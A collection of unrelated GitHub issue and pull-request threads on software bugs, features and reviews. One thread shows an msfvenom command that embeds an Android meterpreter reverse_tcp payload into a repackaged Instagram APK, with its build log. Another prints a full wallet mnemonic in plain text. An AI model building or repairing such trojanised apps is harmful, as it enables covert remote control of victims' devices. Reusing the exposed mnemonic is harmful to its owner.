ParseResult now extends SearchResult
moved methods from cgeoapplication to SearchResult
ParseResult is now returned at more places, esp. at cgBase.parse* and cgBase.search*

If there are no comments and/or concerns i'll merge this PR the christmas weekend.

I didn't check the changes in detail, but I like the general refactoring.

Thanks for the positive feedback.


Wifi access does not work on unsecure networks

I'm not fully familiar with network systems, but twice this last week I have visited Universities which have an unsecure (no password) Wifi networks for guests and students.  I connected my printer to the Wifi network successfully, or so it seems because it gave me an ip address that looked something like <IP_ADDRESS>, however I could not connect my phone or computer to the Repetier Server Web Interface using the IP address given.
I'm posting here because I do not understand if it's an issue within the network configuration (firewall, access, etc...) or the Repetier Server.  Is there any work around so that we can enable Wifi Access to the printer?  The access point (AP) is still not working properly (at least not for my android phone) so that's not yet an alternative option.
If anyone can please help clarify that would really help.

10.x is a private network. You can only login there if you are also logged in into the same wifi network.
There is always also th epossibility that port 3344 is blocked in a network, but if they are so careless to let anyone in I not really suspect that.


Possible bug: Error while creating a movement

const { pathfinder, Movements, goals } = require('mineflayer-pathfinder')

function getMove(numb,bot){
    switch(numb){
        case 0:
            var move = new Movements(bot)
            move.canDig = false

            return move
    }
}

getMove(0,bot)

Code errors while trying to create a movement, i updated the package to the latest version but that didn't resolve the problem.
Please help me resolve this issue.

This package is using an older version of minecraft-data which might not have all block data for newer versions. You can try using npm ls minecraft-data and find + update any occurence which isnt using the latest version (3.17.0 currently).

I created a new repository and copy pasted everything and that seemed to fix it. Weird.


[AzureMonitorDistro] fix broken links in Readme

OpenTelemetry moved the Instrumentation.AspNetCore to the -contrib repo.
This PR updates our links.

API change check
API changes are not detected in this pull request.


feat(dart_frog_cli): Add dart-vm-port option to dev command

This will add a new option to dart_fro_cli dev command, named --dart-vm-port with the abbreviation -d, that enables defining a custom port for the dart VM service to listen on.
So if this flag is used like this
dart_frog -d 9191
the dart command that is going actually to run will be like this:
dart --enable-vm-service=9191 .dart_frog/server.dart
Running both jaspr and dart_frog in debug mode was not possible since dart VM was trying to use the same default port (8181) to listen on
Status
HOLD
Should have opened an issue first. But If this change is something you can accept, please let me know to add some doc for it. Also tests.
Type of Change

[x] ✨ New feature (non-breaking change which adds functionality)
[ ] 🛠 Bug fix (non-breaking change which fixes an issue)
[ ] ❌ Breaking change (fix or feature that would cause existing functionality to change)
[ ] 🧹 Code refactor
[ ] ✅ Build configuration change
[ ] 📝 Documentation
[ ] 🗑 Chore

Preview
https://user-images.githubusercontent.com/38987302/231396262-9db4efc0-027a-4984-b2e1-d624cc91c8ac.mov

@easazade this will allow working around #568. I think it is a nice addition, are you still willing to work on this and solve get the workflows passing?

@easazade this will allow working around #568. I think it is a nice addition, are you still willing to work on this and get the workflows passing?

Yes I think I can work on this today

@erickzanardo Good points I will make the changes

Can we add e2e tests here? For example, an e2e test where the users runs two dev commands without any errors when specifying the dart vm service.

Can we add e2e tests here? For example, an e2e test where the users runs two dart dev commands without any errors when specifying the dart vm service. You may also add one where it fails whenever the same dart-vm service is not used on two dart dev commands; perhaps, when this happens we can add a suggestion to use this new flag.

I will look into e2e tests

@alestiago @erickzanardo  Added e2e tests as well.

@alestiago I made some changes. check again?

@alestiago @erickzanardo
Check Again?


Add authentication handlers for Azure DevOps and GitHub

This replaces #1670
This change adds handlers to SymbolReader that authenticate requests for Azure DevOps and GitHub. This allows PerfView to download symbols from Azure DevOps symbol servers and to "go to source" for private Azure DevOps and GitHub repositories.
The preferred authentication mechanism is Git Credential Manager, which is installed with Git for Windows. It works for Azure DevOps (symbols and source) and GitHub. GitLab support has been requested in #1064 so we should try adding that next.
If Git Credential Manager is not installed, or the user decides not to use it, there are two alternatives:
For Azure DevOps, there's a replacement for #1563 that uses DefaultAzureCredential from Azure.Identity
The code discovers the target tenant by parsing WWW-Authenticate challenge responses. If the user has Visual Studio or VSCode installed, and they have signed in, then PerfView will use that account to access Azure DevOps. If not, then a browser window is shown to let the user sign in.
For GitHub, we use Device Flow authentication to grant access to an OAuth application registered with GitHub.com. The user is prompted to visit github.com, enter an 8-digit code and authorize the application.

@brianrob, this is ready to review now.

@pharring, these changes look good.  One thing - as nice as it might be to automate the inclusion of resource files, this is including many more files than are actually needed, and is increasing the size of the resulting exe.  Would you mind reverting this and just including the files from the new NuGet packages explicitly?  Thanks.

I can't really avoid increasing the size of the EXE, but I know what you mean: You want to include bare minimum (necessary and sufficient) set of assemblies needed to get the new scenarios working.
... while leaving behind a continually-growing list of manually curated assemblies for someone to maintain :stuck_out_tongue_winking_eye:


Use @webref/events to generate event tests

Rather than (only) using the event handlers to create event tests, @webref/events should be used.

Linking to https://github.com/w3c/webref/issues/630 for additional context


ProcessCheck job not working properly on Solaris

The SXA-processCheck job is not correctly detecting java processes from the test suites, so stuck jobs can build up over time without it being noticed, leading to failures such as https://github.com/adoptium/temurin-build/issues/2829
This may be due to the ps -fu jenkins command output being truncated at 130 characters with the default terminal settings.

This is a suitable alternative command for processes owned and run by the jenkins user
/usr/ucb/ps -uxww| egrep -v "remoting.jar|agent.jar|grep" | egrep "java|X.*vfb|revokeall"

@sxa, can this be closed now? it does appear to be working ok.

Yep - thanks


Blocked Achivements

What does it mean when an achievement is "protected" and I can't access it...
I thought this was made to unlock achievements, how am I supposed to do that if I can't even connect to the damn things?

You might be able to get away with that by resetting all achievement/stats state. You won't be able to directly interact with the achievements though.


Add docker-image-shipping repo

Note: none of this is my code, only additions I make are in this PR, so if you encounter something off please also offer a fix.

There are still comments leftover here: https://github.com/memgraph/docker-image-shipping/pull/1
Which I didn't currently have time to address

If an option is to add empty.txt to .gitignore, I would do that. Other things look good to me

I am not sure why we even have these files? If we can add them to gitignore, we can also delete them?

If an option is to add empty.txt to .gitignore, I would do that. Other things look good to me

I am not sure why we even have these files? If we can add them to gitignore, we can also delete them? @as51340

Yes I am also not sure but I think noting bad will happen if we delete them.

Seems okay, just change the branch name to airtable task like we do in the rest of the repositories (T...-FL-...)

@Josipmrden unfortunately, to rename a remote branch I need to create a new one and delete this one, which includes making a new PR. Let me know if that is what you want me to do. Meanwhile I renamed the PR to match our format.

Added some cleaning to the scripts and how the images are generated. I hope it will result in a much faster build and less commands to generate custom images.
We still need to figure out how to decrease MAGE build time since it seems it's taking 4 hours.

Re-requesting review again, on my changes @as51340 @antepusic @antoniofilipovic @brunos252


GEOMESA-2864 Relocate the scalalogging dependency to support DataBricks

Signed-off-by: Oleksandr Berchenko<EMAIL_ADDRESS>

merged as https://github.com/locationtech/geomesa/commit/c65f0d8f2e944bf86284f7fd719878294b148557


Transitions examples/wmt to use Optax

As part of #1053

Codecov Report

Merging #1476 (4b1badd) into main (1a24c4d) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main    #1476   +/-   ##
=======================================
  Coverage   82.38%   82.38%
=======================================
  Files          65       65
  Lines        5359     5359
=======================================
  Hits         4415     4415
  Misses        944      944

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1a24c4d...4b1badd. Read the comment docs.


Fix deploy to PyPI

While commit #51 and release v.0.3.4 build for TestPyPI, they currently fail for PyPI.

pkginfo.distribution error:
  File "/usr/local/bin/twine", line 8, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.9/site-packages/twine/__main__.py", line 33, in main
    error = cli.dispatch(sys.argv[1:])
  File "/usr/local/lib/python3.9/site-packages/twine/cli.py", line 123, in dispatch
    return main(args.args)
  File "/usr/local/lib/python3.9/site-packages/twine/commands/check.py", line 183, in main
    return check(parsed_args.dists, strict=parsed_args.strict)
  File "/usr/local/lib/python3.9/site-packages/twine/commands/check.py", line 129, in check
    warnings, is_ok = _check_file(filename, render_warning_stream)
  File "/usr/local/lib/python3.9/site-packages/twine/commands/check.py", line 73, in _check_file
    package = package_file.PackageFile.from_filename(filename, comment=None)
  File "/usr/local/lib/python3.9/site-packages/twine/package.py", line 96, in from_filename
    meta = DIST_TYPES[dtype](filename)
  File "/usr/local/lib/python3.9/site-packages/twine/wheel.py", line 42, in __init__
    self.extractMetadata()
  File "/usr/local/lib/python3.9/site-packages/pkginfo/distribution.py", line 121, in extractMetadata
    self.parse(data)
  File "/usr/local/lib/python3.9/site-packages/twine/wheel.py", line 89, in parse
    fp = io.StringIO(distribution.must_decode(data))
AttributeError: module 'pkginfo.distribution' has no attribute 'must_decode'
Checking dist/alto2txt-0.3.4-py3-none-any.whl:
##[debug]Docker Action run completed with exit code 1
##[debug]Finishing: Publish tagged build to PyPI


revert files after build_catalog script

Description
We were leaving the updated files in the system. This change will revert to the original template files after script is completed its run.
Type of change

[ ] Refactor
[ ] New feature
[ ] Bug fix
[ ] CVE fix
[ ] Optimization
[ ] Documentation Update
[ ] Configuration Update
[ ] Bump-up dependent library

Related Tickets & Documents

Related Issue #
Closes #

Checklist before requesting a review

[ ] I have performed a self-review of my code.
[ ] PR has passed all pre-merge test jobs.
[ ] If it is a core feature, I have added thorough tests.

Testing

Please provide detailed steps to perform tests related to this code change.
How were the fix/results from this change verified? Please provide relevant screenshots or results.

/lgtm
/approve


apktool error: apktool execution failed

How can i fix this error. somebody can help!!!
msfvenom -x XXXX.apk -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -o XXXX.apk
Using APK template: GBInsta.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.gbinsta.android.mcwyj
[] Loading /tmp/d20221013-22884-j3dven/original/smali/com/gbinsta/app/InstagramAppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20221013-22884-j3dven/output.apk
[-] I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method LX/00H;->values()[LX/00H;
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1047)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:346)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:301)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:58)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:37)
at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:430)
at brut.androlib.Androlib.buildSources(Androlib.java:361)
at brut.androlib.Androlib.build(Androlib.java:313)
at brut.androlib.Androlib.build(Androlib.java:280)
at brut.apktool.Main.cmdBuild(Main.java:255)
at brut.apktool.Main.main(Main.java:82)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x2
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1320)
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1043)
... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65547
at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1280)
... 11 more
Error: apktool execution failed

You've exceeded the amount of methods allowed in a dex file

Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65547

This is not a bug.


Server: Let admin create template user

Regular user will gain all attributes and other stuff from Template user (for example when one should skip some building creation or preset other things).
Regular user should be created with some method like fromTemplate() or something.

Done!


Remove exception ignoring from glcoud step

The use of glcoud recipe module is under a try catch which causes it to silently fail if an exception occurs:
https://flutter.googlesource.com/recipes/+/refs/heads/master/recipes/engine.py#249

Remove the try catch so that it does not fail silently.
Mark the step an infra step.

https://flutter-review.googlesource.com/c/recipes/+/11520 merged


Fix executable permissions

Fixes #24867
Several files erroneously had executable permissions.
This commit is the result of running:
find src tests -type f -executable -exec chmod -x {} +

@taylorotwell It would be nice if you could comment why this was just closed. If this PR does not follow some guidelines, just tell me what I should change and I will gladly update it.

I think this problem for enviroment, dont repository files.
That is, it does not need correction, this must be done when the project is installed.

Try resubmitting this to 5.6.
Changing permission in a minor release might lead to breaking changes.

Changing permission in a minor release might lead to breaking changes.

This is funny because I know for a fact the permissions within a major release changed multiple times. I'm part of a minority having vendors/ commited and a I always check the diffs and see every 5 release or so randomly change.
TL;DR: if that might be a breaking change, it already happened multiple times in the past and no one spoke up.

I resubmitted this against 5.7 as #25191, as suggested by @tillkruss


terraform  deployment responds with "account not found"

terraform version:

/opt/mytrunk/terraform/single_node$ terraform init

Initializing the backend...

Initializing provider plugins...
- Finding latest version of threefoldtech/grid...
- Installing threefoldtech/grid v0.1.15...
- Installed threefoldtech/grid v0.1.15 (self-signed, key ID 77AB02E5CA9698A3)

Created a "new" account in the polkadot interface in the browser

portal.test.grid.tf recognizes the account

when trying to deploy the single VM I input the mnemonic belonging to the account and I get this error message

~/opt/mytrunk/terraform/single_node$ terraform apply
provider.grid.mnemonics
  Enter a value: always borrow twenty negative call hundred ceiling leisure sunset enact feel frown

╷
│ Error: account not found
│
│   with provider["registry.terraform.io/threefoldtech/grid"],
│   on <input-prompt> line 1:
│   (source code not available)

There is not mention anymore in the example to connect to testnet - do I need to add a line specifying to deploy on testnet.
terraform {
  required_providers {
    grid = {
      source = "threefoldtech/grid"
    }
  }
}

provider "grid" {
}

Needed to create a new account by using the portal.  I figured out that we now use a new key pair type and that the "old" account is no longer valid

@weynandkuijpers I'm getting the same error: "account not found".  What do you mean by "create a new account using the portal"?   I have a new account created and funded on main net. I was able to deploy with it a full vm using the play.grid.tf.
I'm using "threefoldtech/grid v1.5.9"

Found the issue..  Terraform provider is using the wrong network (dev instead of main) and this gives the "account not found" error. See #364


Investigate subscriber too slow errors in pubsub

Observed in passive testing on mainnet for filecoin/16 network:
{"level":"info","ts":"2024-11-28T21:17:37.595+1100","logger":"pubsub","caller":"go-libp2p-pubsub@v0.11.0/pubsub.go:981","msg":"Can't deliver message to subscription for topic /f3/granite/0.0.2/filecoin/16; subscriber too slow"}
{"level":"info","ts":"2024-11-28T21:17:37.595+1100","logger":"pubsub","caller":"go-libp2p-pubsub@v0.11.0/pubsub.go:981","msg":"Can't deliver message to subscription for topic /f3/granite/0.0.2/filecoin/16; subscriber too slow"}
{"level":"info","ts":"2024-11-28T21:17:37.595+1100","logger":"pubsub","caller":"go-libp2p-pubsub@v0.11.0/pubsub.go:981","msg":"Can't deliver message to subscription for topic /f3/granite/0.0.2/filecoin/16; subscriber too slow"}

This indicates that the processing loop is taking too long to process received messages.
ida metrics at the corresponding time interval in which this occured: https://grafana.f3.eng.filoz.org/d/edsu1k5s7gtfkb/f3-passive-testing?orgId=1&var-network=mainnet&var-instance=ida.f3.eng.filoz.org:80&from=1732789053994&to=1732789928949&tab=transform

We should set Tracer in pubsub and log UndeliverableMessage; such messages end up in that tracer call.

The buffer size of 20 here may be too small for large networks.

With buffer sizes bumped to 512 both for internal buffer size and pubsub subscriber buffer size seem to have fixed the issue at network scale of 40%.
The true fix is to make the processing loop faster, or internally buffer messages in a more sophisticated way inside GPBFT (and indeally hook it up to validation/internal state to drop messages early if they are not processed yet , were valid when buffered, and became useless)

There is a flurry of these messages every time we re-bootstrap a passive testing network.
I believe the cause could also be that the gpbft runner gets paused when manifest changes and resumes again close to bootstrap of the new manifest. The runner is where the consume loop of topic subscription lives.  Meaning, when paused no messages from the previous network topic gets consumed, and hence the "queue full" error.
If on archioz we also only observe this error during rebootstrap then I believe this is a non-issue. Though will not hurt to bump the limits anyway.

Observed subscriber too slow error flurry on ida just before instance 4 started in network filecoin/40.

@masih was ida at the time running with the buffer patch or not?

running with the buffer patch or not?

No but archioz was

OK looks like archioz is running the commit that doesn't have the buffer bump. And it did observer the subscriber too slow.
Interestingly, a lot more than ida did.

New observation: On both ida and archioz when this happens committee fetch time is at its max: 2-3 seconds.
It seem likely that slow committee fetch can cause this. Which brings me to ask why get committee times are shooting up

resolved by https://github.com/filecoin-project/go-f3/issues/779


[Migrated] Better support for base.py + local.py/prod.py pattern in Django

Originally from: https://github.com/Miserlou/Zappa/issues/949 by Miserlou
Everything is still based around the notion that there is a single Zappa settings file. This is annoying if you use the base/local/prod pattern.

As mentioned, zappa currently uses a single settings file.  In the settings file you can specify multiple stages.
A pr is welcome for an implementation proposal, but as this is an old migrated issue, I will close it.


Just an idea: Why not make LiftN the requirement for applicatives rather than ap?

It seems like in a language like JavaScript where currying isn't the norm (and might not be performant because of a lack of compiler help), it might be more useful to make something more like LiftN the requirement for applicative rather than ap.  It could even be backwards compatible for non-library code by just allowing ap to take multiple arguments like this:
MyApp.of(f).ap(a, b, c, d, e)

This would be fairly easy to implement for most applicatives I can think of, and would certainly be more convenient for the user and probably more performant, too.
If this doesn't match the aesthetics of fantasy-land (and my guess is it doesn't), maybe there should be a way for implementors to optionally provide a liftN method (under some friendlier name, maybe just lift) for performance reasons?

I think we should revisit this (I want to implement it :-)).
Making a liftA2 (or liftF2) function the alternative definition of Apply seems very attractive (would be placed at seq in @phadej's diagrams). I guess that it's more often needed than ap. Of course they can be derived from each other, but making lift is a bit ugly in JS as it requires currying.
function ap(af, ax) {
    function call(f, x) { return f(x); }
    return lift(call, af, ax);
}
function lift(f, ax, ay) {
    var f_curried = function(x) { return function(y) { return f(x, y); }; };
    return ax.map(f_curried).ap(ay);
}

I don't think we should make this a method though but rather a static function, and I cannot really envision a name for it either: ax.apWith(f, ay) sounds wrong because we're not applying ax but rather f, and I really don't want to build upon thrush or T-combinator (see this SE question for references).

Of course, a variadic liftN function might be even more useful (easier to implement and call). It's quite common in libraries, e.g. as combineWith in Bacon, or join in Bluebird. There are versions that optionally take arrays as inputs instead, and I think that's a route we could go down as well to make a proper binary function (array + fn), as we've seen that generic libraries like Ramda which use currying don't really like variadic functions. Yet after all this might fit better with Applicative than in Apply (which cannot handle the nullary case), and in this case I think we might just introduce an optional sequence function that could be used like
sequence([ax, ay, az, …]).map(function([x, y, z, …]) {
    …
});

which already looks a lot like that tfil idiom that was suggested. Implementing sequence in a library is probably much more efficient than deriving it as
function sequence(arr) {
    return arr.reduce(function(ar, ax) {
        return ar.map(function(res) {
            return function(x) {
                res.push(x);
                return res;
            };
        }).ap(ax);
   }, of([]));
}

Is this going to happen, or should I close it for now?


[Dependency Vuln] Remote Memory Exposure Affecting dns-packet package, versions <5.2.2

Flagging this:
https://app.snyk.io/vuln/SNYK-JS-DNSPACKET-1293563
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23386
Introduced through<EMAIL_ADDRESS>Fixed in<EMAIL_ADDRESS>

I've created a PR at the Bonjour package here: https://github.com/watson/bonjour/pull/64. Once that is merged in and a release tagged - in theory - I think mix will need to wait for webpack-dev-server to tag a new beta or full release before this is addressed fully.

Per the details here: https://github.com/watson/bonjour/issues/63
This issue should be resolved now. The version that mix follows should - in theory - pull the patched version when running install/update.

I can confirm that installing 6.0.19 fresh resolves this issue.
If you have a previous version of laravel-mix installed, you might need to delete the node_modules directory and the package-lock.json file so that npm doesn't keep an old version of the dependency with this issue and instead uses the latest.

I'm using laravel-mix 6.0.30 which is latest but this vulnerability still exists. Any idea when this going to be resolved?


[bug] Class tables have a weird behaviour

when I create a class table or half class table, the content of all pages is copied to the dive that the table creates.
http://screencast.com/t/YIJjBvOFkde

Will be fixed in next push.


Week numbers in khal and ikhal

I would like to add an option to khal/ikhal, that would enable display of week numbers in calendar views (as in strftime's %U, %V or %W).
If nobody is working on this I'd gladly implement it.
It is actually part of bigger thing on my wish-list - for weekly events, be able to specify repeated events for odd and even weeks separately.

Khal and ikhal can already display week numbers, have a look at the configuration documentation. Better specification of recurring events is needed though (IMHO especially in ikhal).

Mea culpa. This is exactly what I need. So maybe I'll move on to the next part - support for INTERVAL>1 with given FREQ values (weekly, monthly is definitely needed, don't know if other variants would be more appropriate for daily freq). May I rename this issue?

@dzoep please rename if you want to (probably makes sense, or even close and start a new one, I don't mind)


Grammatical fixes

docs: Updated some wording and grammar.

Please check if the PR fulfills these requirements

[x] The commit message follows our guidelines
[x] Tests for the changes have been added (for bug fixes / features)
[x] Docs have been added / updated (for bug fixes / features)

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
Some basic grammar/wording fixes.

What is the current behavior? (You can also link to an open issue )
Just noticed some grammatical errors when checking out the repo and thought I'd help out.

What is the new behavior (if this is a feature change)?
No feature changes, just updated some wording in the docs.

Does this PR introduce a breaking change? (What changes might users need to make in their application due to this PR?)
No.

Other information:

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


SEV: Client Broken

We missed something when we refactored the KBC into the SEV Client.
Here we load the kernel module, but we don't use the kernel module struct as intended.
The struct has drop implemented on it to unload the kernel module when the struct goes out of scope. This is a precaution to avoid other components accessing the secret.
Since we drop the struct during the auth step, the securityfs will be empty by the time we setup the client.

Ohh ohh, let me dive into this.


Parse::Date should support Times and Dates not just DateTimes

serialization should probably just give you DateTimes and coerce any of these instead of handing out Parse::Dates in the first place, but at the very least we shouldn't blow up on Times and Dates, or even ActiveSupport::TimeWithZone

are you sure you want to close this?  it's insanely annoying that you have to put DateTimes into parse-ruby-client and it barfs on Times

Whoops! Thought this was a different one.

@ericcj let's discuss about this, I have some experiencing dealing with Date / Time / Timezone and so on with Rails and I agree. All parse-ruby-clients should do is:

take the object
convert it to UTC if it's not
call #iso8601(3) on it

How do you propose we go about this?


Adds shortname for taskrun and  pipelinerun

Changes
During pipeline development, a developer often queries
taskruns and pipelineruns.
This patch adds shortnames to taskruns and pipelineruns CR's.
So it could improve CLI experience while querying taskruns and
pipelineruns resources.

Submitter Checklist
These are the criteria that every PR should meet, please check them off as you
review them:

[ ] Includes tests (if functionality changed/added)
[x] Includes docs (if user facing)
[x] Commit messages follow commit message best practices

See the contribution guide
for more details.
Release Notes

Add short names to `taskrun` and `pipelinerun` resources.
User can use `kubectl <action> tr ...` to deal with `taskruns`
and `kubectl <action> pr ...` to deal with `pipelineruns`.

oh nice, this is awesome! I love it @hrishin !! let's do it
/ok-to-test
/lgtm
/meow space

Woo! I like.
/approved

Thank you @vdemeester @bobcatfish @abayer :+1:


Migration Guide — Fantastic lightweight multiple optional parameter support!

Any possibly of a migration guide from React Router to Wouter?
SOME CONTEXT: Recently, React Router dropped (changed) support for optional parameters in v6 which broke target apps causing signifiant time investments attempting to rearchitect them to work with v6. I cannot say if this forces "better" code or not, but we abandoned v6 migration because we were able to migrate to Wouter with only minimal changes to our apps. The issue is discussed here: remix-run/react-router#7285
It’s unclear if Wouter has all the functionality required over time, what exactly is missing or different, but right now we need something lightweight and fast that easily support multiple optional parameters, without rearchitecting our apps.
Both projects are excellent intellectual works, but finding right package fits for each target application is key.

After working through a migration from React Router to Wouter, the existing Wouter documentation is adequate explaining the differences and only required minor code adjustments for specialized edge cases.
Excellent lightweight implementation.
Closing issue.


Support for callbacks and DateTime

Is this feature ever going to happen? Thank you for this very good library

Hello. Thanks, I'm glad to hear it.
Unfortunately, I don't have time now to work with native code.
Maybe someday I'll add it.


Adding optimisticResponse

I'm trying to add support for optimisticResponse on mutations on this branch: https://github.com/lukashambsch/reason-apollo-hooks/tree/add-optimistic-response. I've added it and it doesn't seem to be working correctly because of missing __typename attributes.
I'm getting the following warnings only when using `optimisticResponse'.
You're using fragments in your queries, but either don't have the addTypename:
  true option set in Apollo Client, or you are trying to write a fragment to the store without the __typename.
   Please turn on the addTypename option and include __typename when writing fragments so that Apollo Client
   can accurately match fragments.

Could not find __typename on Fragment

DEPRECATION WARNING: using fragments without __typename is unsupported behavior and will be removed in future versions of Apollo client. You should fix this and set addTypename to true now.

Along w/  Missing field __typename for each nested object within the type.
Here is how I'm defining the optimisticResponse object when using it:
let optimisticResponse: UpdateGroceryListItem.t = {
    "updateGroceryListItem":
      Some({
        "id": groceryListItem##id,
        "amount": groceryListItem##amount,
        "isPurchased": !groceryListItem##isPurchased,
        "unitName": groceryListItem##unitName,
        "food": groceryListItem##food,
      }),
  };

Does anyone have any ideas on the possible source of the issue? Maybe my implementation of optimisticResponse is wrong?

You can see how we've done it here https://github.com/mbirkegaard/reason-apollo-hooks/commit/3a85c459c42f472a9b4e6a5c5254c259273178a1. Waiting for the API change to be done with before adding the PR.
The problem is indeed that optimisticResponse doesn't have the right shape for apollo. The outermost type needs to be a mutation and you need to add __typename fields.
The docs give this example
          optimisticResponse: {
            __typename: "Mutation",
            updateComment: {
              id: commentId,
              __typename: "Comment",
              content: commentContent
            }
          }

The easiest way of getting the shape of the object you need to supply to the underlying js is to fire the mutation and checking the response in network console. optimisticResponse needs to be the same underlying shape as the js object at data.whateveryounamedyourmutation

@mbirkegaard That helped a ton! I was able to get it working now. Thanks!


Schema tweaks for simulated data

[ ] In data_description add "SIMULATED" to DataLevel
[ ] In process_names add "SIMULATION"

@calebshibu


Fix thread-safety issue of hash functions

Codecov Report

Merging #5866 into master will decrease coverage by 0.03%.
The diff coverage is 86.36%.

@@             Coverage Diff              @@
##             master    #5866      +/-   ##
============================================
- Coverage     82.97%   82.94%   -0.04%
- Complexity    12102    12108       +6
============================================
  Files          1426     1426
  Lines         46442    46460      +18
  Branches       5718     5719       +1
============================================
- Hits          38537    38534       -3
- Misses         5224     5248      +24
+ Partials       2681     2678       -3

Impacted Files
Coverage Δ
Complexity Δ

...o/crate/operation/scalar/string/HashFunctions.java
86.95% <86.36%> (-2.33%)
15 <15> (+12)

...te/executor/transport/ddl/RenameTableResponse.java
20% <0%> (-80%)
1% <0%> (-3%)

...ate/executor/transport/ddl/RenameTableRequest.java
45.45% <0%> (-45.46%)
5% <0%> (-2%)

...in/java/io/crate/lucene/match/CrateRegexQuery.java
43.47% <0%> (-30.44%)
4% <0%> (-4%)

...rc/main/java/io/crate/analyze/UnboundAnalyzer.java
70% <0%> (-10%)
2% <0%> (ø)

core/src/main/java/io/crate/types/ArrayType.java
76.47% <0%> (-7.36%)
27% <0%> (-2%)

...ration/reference/doc/lucene/IpColumnReference.java
72.72% <0%> (-4.55%)
5% <0%> (+1%)

...utor/transport/ddl/TransportRenameTableAction.java
88.88% <0%> (-2.78%)
6% <0%> (-1%)

...main/java/io/crate/blob/v2/BlobIndicesService.java
71.23% <0%> (-2.74%)
21% <0%> (-1%)

.../src/main/java/io/crate/blob/RemoteDigestBlob.java
78.57% <0%> (-1.79%)
8% <0%> (ø)

... and 14 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update edc384c...9429924. Read the comment docs.

@seut I've modified the initial PR version. Should be much simpler to review now. I've confirmed that the issue is fixed by reproducing on master and testing with the PR.

@mfussenegger Added a CHANGES entry.


移动端自适应问题

请问您有试过移动端吗？我用的时候发现移动端看不到pdf。
网址：https://ramblerw.github.io/blog-money/#/gupiao1/lesson/1020wanfenxiang
代码：https://github.com/RamblerW/blog-money/blob/master/gupiao1/lesson/1020wanfenxiang.md

When you view the page in mobile, it requires your mobile browser to inherently able to support pdf viewing (i.e. google chrome will not work). I will try to figure out a solution for that later this week. Thanks for pointing this out.

@RamblerW Sorry for this late reply. I have just gotten the time to investigate this problem and have implemented the feature requested above in version 1.0.6. If you are currently using this plugin, please let me know if the new version works for you. Thanks:D


False positive for negative number with allowConstantExport

My eslintrc.cjs contains:
  rules: {
    "react-refresh/only-export-components": [
      "error",
      { "allowConstantExport": true },
    ],

I have a .tsx file with the following exported constant:
export const allTestCategories = -1
ESLint produces this error:
ERROR(ESLint)  Fast refresh only works when a file only exports components. Use a new file to share constants or functions between components. (react-refresh/only-export-components)
If I simply change the constant value from -1 to 1, the ESLint error goes away. Looking at only-export-components.ts line 105, I see that you are checking for Literal, TemplateLiteral, and BinaryExpression, but the problem is that -1 is a UnaryExpression. I think you need to add UnaryExpression to your logic.
I tried this as a workaround:
export const allTestCategories = -1 as number
This produced a TSAsExpression, which is also not handled by your logic. I'm not sure of all the implications, but it might make sense to allow this as well.

Thanks for investigating and debugging this! This is definitely a edge case I didn't though of.
I choose to not include TSAsExpression, it would require some extra checks on the expression being cast and I don't see any reason why you will need a type assertion for something that should be a primitive value.


typewrite() writes to shell instead of clicked input/document

I am following Chapter 18 of Automate the Boring Stuff with Python. I'm on OS X and pyautogui 0.9.47.
I am trying to use pyautogui to click on a text input or text document and then input text.
I am entering the following into a shell ((370, 80) are the coordinates of my Chrome address bar):
pyautogui.click(370,80); pyautogui.typewrite('Hello world!')
click() seems to work fine here (I can switch tabs in Chrome using click() and the text in the bar is highlighted), but the text is written to the shell instead of the text input or text document that was clicked. Screenshot here.
Other methods like click(), position(), moveTo(), moveRel(), and dragTo() are working as expected. Pausing before typewrite() (as in pyautogui.click(370,80); time.sleep(3); pyautogui.typewrite('Hello world!')) doesn't fix it.
If I run time.sleep(5); pyautogui.typewrite('test') and manually click on the text document or input while the thread is sleeping, the text is inputted as desired.
What might be the problem? I've had the same issue on both Macs I've tested on.

The solution you stated works in Win7 with Firefox and Vivaldi; altered x-y to suit my screen.
Do you get a different result if you instead use pyautogui.moveTo(370,80); pyautogui.click(); pyautogui.typewrite('Hello world!')?

@jordanmcleod Unfortunately I get the same result as before.

@jordanmcleod If I click on a text input with pyautogui and then try to manually type, the characters still appear in the shell, so it seems like click() isn't working correctly.

